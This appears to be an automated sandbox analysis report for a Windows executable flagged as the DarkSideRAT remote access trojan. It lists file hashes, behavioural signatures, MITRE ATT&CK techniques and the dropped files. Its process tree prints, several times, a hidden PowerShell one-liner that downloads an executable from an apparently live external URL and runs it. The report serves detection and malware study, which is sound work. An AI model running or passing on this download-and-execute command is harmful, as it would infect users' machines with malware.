darksiderat | cfda1896b760b701d955e575bbb80dbd4fd45f8bfcd36e1634e49a4b8699046b

General

Target
2026-07-29_2480b580037709b06c5feb997909ca84_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
Size 653KB
Sample260729-ddj6fashld
SHA256 cfda1896b760b701d955e575bbb80dbd4fd45f8bfcd36e1634e49a4b8699046b
MD5 2480b580037709b06c5feb997909ca84
SHA1 0fe9112fc8831bbc6dc1c79dd96621829b58bef0
SHA512 22f00e12c476e2459124c4bbd39b850d5fff2f015f1d3beb241a53ee77b72a2b03e4bfb25f145869785ec58d8dd0ad9d9a0e85ee07de556181fe86c444ccd20e
SSDEEP 6144:rSS3aH3SPaj6j6+5Q2aW9S10tdIK38B9GBJ5uvTlcSG0opaItsC1avyKpnqeSgZP:nayT9X38BcBDu9GPVtpA5qeS8iMnUM
TLSH
T1C2E4AE45B2E441FCD067913BC9825A2BFB76381A0B2057DB23F44A562F6B7E09E7B311
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution darksiderat trojan

Malware Config

Signatures

Family: DarkSideRAT
DarkSideRAT is a remote access trojan.
trojan darksiderat

Detects DarkSideRAT 1 IoCs

resource	yara_rule
behavioral1/files/0x0008000000024565-14.dat	family_darksiderat

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1408	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1408	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
6	1408	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5064	BK983614.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3744	cmd.exe
2124	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1408	powershell.exe
1408	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3972	2026-07-29_2480b580037709b06c5feb997909ca84_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3972	2026-07-29_2480b580037709b06c5feb997909ca84_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 3744	3972	2026-07-29_2480b580037709b06c5feb997909ca84_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe	84
PID 3744 wrote to memory of 2124	3744	cmd.exe	86
PID 2124 wrote to memory of 1408	2124	cmd.exe	88
PID 1408 wrote to memory of 5064	1408	powershell.exe	89

C:\Users\Admin\AppData\Local\Temp\2026-07-29_2480b580037709b06c5feb997909ca84_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-29_2480b580037709b06c5feb997909ca84_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=urA27vL9Fv4Y' -OutFile $env:TEMP\BK983614.exe; Start-Process -FilePath $env:TEMP\BK983614.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=urA27vL9Fv4Y' -OutFile $env:TEMP\BK983614.exe; Start-Process -FilePath $env:TEMP\BK983614.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt&_r=urA27vL9Fv4Y' -OutFile $env:TEMP\BK983614.exe; Start-Process -FilePath $env:TEMP\BK983614.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1408
    - - C:\Users\Admin\AppData\Local\Temp\BK983614.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BK983614.exe"
        5⤵
        Executes dropped EXE
        
        PID:5064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

BK983614.exe

Path C:\Users\Admin\AppData\Local\Temp\BK983614.exe
Size 67KB
SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
MD5 32b268f7114cd6816d3b1c0558e88f95
SHA1 1d0caf4582173eb45e0be05134ed432a21f5af55
SHA512 9b453ea4ac1ec6f216629ca16654e78f02fb61af8158eb3153e3fbecaae8e78b50c53242c4e76a93d59f3f3150392805a18892b103cd689d6814c7984b5e866b
SSDEEP 768:d8w6iBGb+IyfJoTOBPca/CCNNl1uHBNdXIBMEB44w7Fv6NDzSkzNT2L:PIyfiTOpZNiMMuw7Z6NDzPNTI
TLSH
T18363E735C9A9B13FD3199C78DE060D84DF62BC8A4784BF97A7D11CE60F92A902F1D681
MD5 SHA1 SHA512 SSDEEP TLSH

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__PSScriptPolicyTest_fz5uti5q.xcb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fz5uti5q.xcb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1408-0-0x00000196F01C0000-0x00000196F01D0000-memory.dmp

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memory/1408-1-0x00000196F01C0000-0x00000196F01D0000-memory.dmp

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memory/1408-9-0x00000196F2510000-0x00000196F2532000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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